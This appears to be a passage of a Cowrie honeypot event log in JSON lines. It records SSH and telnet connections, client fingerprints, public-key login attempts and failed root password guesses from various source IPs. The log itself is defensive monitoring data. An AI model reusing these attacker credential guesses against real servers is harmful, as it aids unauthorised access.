{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:51:4d:10:e6:47:c1:08:ef:a3:81:d1:97:03:7a:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAunypwuuF8lgFWH+JfmKny7qD0WnQ6lrM5U21mlJhKCELlzEm0cy8rxsaJhe+AEeaJ5d8g7+dgKt71sh0t+dk8/78XYy3NO/ItzxJEqBZkNv+iDd96t1N25nmV6ABNrQAUvAlqSAttPUXXBx2aoUGPNp37zOGWiCXf+SYCv4BjJEF8TD44SqfWrWUZNvac1b4ll0qMXyhmYl2Xb8H0bydQURDiO3fmuaiO4jU6VSlfbxARua8RGGiAlrAGujBbvAsGLZnUh7kW6uC3bfefQMRL/8sXk4AA/iILNUSYuhGDDe6oGNvWi82PSOOxV/dsp5QTWepq9MeUdMP4qYrhs0Ukw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.773492Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:c2:4c:31:2a:2f:3c:f7:d6:3e:86:41:d2:f6:e9:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8adwlJ+8CR8BJ5oB0d6Ra7LNvwHUHFKc4uD52wPrmJs3HNc/0VQl5xSfsPW7hK5DP4s7f1lOjDcXQA77m7dF9JRtTCD0sca3Ol8L3WEbstnZZmBovg+Nk2NS56NNPYeBepRnOix+aEDV0lJfhfzBa1Y4/yyvL/fcPH30TfObaEqhSoPriSq6/QQbKEH+FIt76taqfuxPmWRDOnEXkyBERp9Z9t12/RA3n6XkG4WwEqPh7KLsYevdiLg8k1ASIfAhcle0POxdcBSzPx7PYWTo/DGLZ3UxB7EBu3CtrIDlsIuhfh+wdEfoMSMF9S0BWwnXOg3RwYqTCKmm498HU14R1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:c2:4c:31:2a:2f:3c:f7:d6:3e:86:41:d2:f6:e9:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.870871Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:c2:4c:31:2a:2f:3c:f7:d6:3e:86:41:d2:f6:e9:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8adwlJ+8CR8BJ5oB0d6Ra7LNvwHUHFKc4uD52wPrmJs3HNc/0VQl5xSfsPW7hK5DP4s7f1lOjDcXQA77m7dF9JRtTCD0sca3Ol8L3WEbstnZZmBovg+Nk2NS56NNPYeBepRnOix+aEDV0lJfhfzBa1Y4/yyvL/fcPH30TfObaEqhSoPriSq6/QQbKEH+FIt76taqfuxPmWRDOnEXkyBERp9Z9t12/RA3n6XkG4WwEqPh7KLsYevdiLg8k1ASIfAhcle0POxdcBSzPx7PYWTo/DGLZ3UxB7EBu3CtrIDlsIuhfh+wdEfoMSMF9S0BWwnXOg3RwYqTCKmm498HU14R1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.878313Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:6b:2f:c9:ba:19:2e:d1:41:73:cd:1d:fb:c2:56:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxD794ATjiWnUwOXkwZN6SoojoFy893HUgcSRyGKlc+YsVpP5h2cQRuu6JerD4JZq8e3Ij8WCG3jypmi95Zg9ON9s71fQEtYOLekRxa7b81vEd9Ljbfu9Yp345B0xpl69rFp349thwKZHeqi08aok7LQJqrW9b57AfOzFEYRkS+PL3XihOvw7zf1QXOMHaqdZZM8IyqjsSc7dLwT1+Hq00UgGfU5WVGfsElrpzZ4U9sEbx35031i72qcSawHpFrPRh0WASacD6GOPPhP9qgSL0xAIeNntEBvqREuRQWmfWqV8f018nXgXUZAUzZgMURt8Y8LNpny8IzAZ3/cMjpq7p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:6b:2f:c9:ba:19:2e:d1:41:73:cd:1d:fb:c2:56:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.979824Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:6b:2f:c9:ba:19:2e:d1:41:73:cd:1d:fb:c2:56:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxD794ATjiWnUwOXkwZN6SoojoFy893HUgcSRyGKlc+YsVpP5h2cQRuu6JerD4JZq8e3Ij8WCG3jypmi95Zg9ON9s71fQEtYOLekRxa7b81vEd9Ljbfu9Yp345B0xpl69rFp349thwKZHeqi08aok7LQJqrW9b57AfOzFEYRkS+PL3XihOvw7zf1QXOMHaqdZZM8IyqjsSc7dLwT1+Hq00UgGfU5WVGfsElrpzZ4U9sEbx35031i72qcSawHpFrPRh0WASacD6GOPPhP9qgSL0xAIeNntEBvqREuRQWmfWqV8f018nXgXUZAUzZgMURt8Y8LNpny8IzAZ3/cMjpq7p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.983895Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:09.087307Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":46614,"dst_ip":"159.203.135.109","dst_port":22,"session":"890ea6c4e42a","protocol":"ssh","message":"New connection: 43.135.182.46:46614 (159.203.135.109:22) [session: 890ea6c4e42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:15.428451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:15.433331Z","src_ip":"43.135.182.46","session":"890ea6c4e42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:15.505498Z","src_ip":"43.135.182.46","session":"890ea6c4e42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaa","message":"login attempt [root/aaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:15.813839Z","src_ip":"43.135.182.46","session":"890ea6c4e42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":10698,"dst_ip":"10.17.0.5","dst_port":22,"session":"6191ad4b5df7","protocol":"ssh","message":"New connection: 186.122.177.140:10698 (10.17.0.5:22) [session: 6191ad4b5df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:16.137460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:16.142327Z","src_ip":"186.122.177.140","session":"6191ad4b5df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:16.383595Z","src_ip":"186.122.177.140","session":"6191ad4b5df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:16.885789Z","src_ip":"43.135.182.46","session":"890ea6c4e42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yY123456","message":"login attempt [root/yY123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:17.131189Z","src_ip":"186.122.177.140","session":"6191ad4b5df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49792,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad56d91dd07","protocol":"telnet","message":"New connection: 192.119.13.58:49792 (10.17.0.5:23) [session: bad56d91dd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:17.431244Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46756,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c348e4a6790","protocol":"ssh","message":"New connection: 194.113.233.25:46756 (159.203.135.109:22) [session: 0c348e4a6790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:17.664132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:17.669775Z","src_ip":"194.113.233.25","session":"0c348e4a6790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:17.762954Z","src_ip":"194.113.233.25","session":"0c348e4a6790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$hex","message":"login attempt [root/$hex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:18.042982Z","src_ip":"194.113.233.25","session":"0c348e4a6790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:18.315433Z","src_ip":"186.122.177.140","session":"6191ad4b5df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:19.141077Z","src_ip":"194.113.233.25","session":"0c348e4a6790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":35536,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a2f7e34e24","protocol":"ssh","message":"New connection: 35.225.56.202:35536 (10.17.0.5:22) [session: 30a2f7e34e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:20.573759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:20.578295Z","src_ip":"35.225.56.202","session":"30a2f7e34e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:20.613620Z","src_ip":"35.225.56.202","session":"30a2f7e34e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strongpass","message":"login attempt [root/strongpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:20.787133Z","src_ip":"35.225.56.202","session":"30a2f7e34e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":55804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad7916670c4c","protocol":"ssh","message":"New connection: 43.153.104.156:55804 (10.17.0.5:22) [session: ad7916670c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:21.054199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:21.058500Z","src_ip":"43.153.104.156","session":"ad7916670c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:21.125655Z","src_ip":"43.153.104.156","session":"ad7916670c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zj@123456","message":"login attempt [root/Zj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:21.427942Z","src_ip":"43.153.104.156","session":"ad7916670c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39750,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0488c06ea0","protocol":"telnet","message":"New connection: 192.119.13.58:39750 (10.17.0.5:23) [session: 6e0488c06ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:21.824338Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:21.832566Z","src_ip":"35.225.56.202","session":"30a2f7e34e24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:22.496836Z","src_ip":"43.153.104.156","session":"ad7916670c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.144294023513794,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:23.484690Z","src_ip":"192.119.13.58","session":"02855f434f37","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:23.806709Z","src_ip":"103.210.22.17","session":"d299d49a9f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.5","message":"Connection lost after 19.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:23.816816Z","src_ip":"103.210.22.17","session":"d299d49a9f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48668,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f76f97b8382","protocol":"telnet","message":"New connection: 192.119.13.58:48668 (10.17.0.5:23) [session: 3f76f97b8382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:23.967962Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:26.053695Z","src_ip":"103.210.22.17","session":"447609e41442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":56234,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9b2d4e3bf7e","protocol":"ssh","message":"New connection: 103.166.103.173:56234 (159.203.135.109:22) [session: f9b2d4e3bf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:36.670128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:36.674325Z","src_ip":"103.166.103.173","session":"f9b2d4e3bf7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cb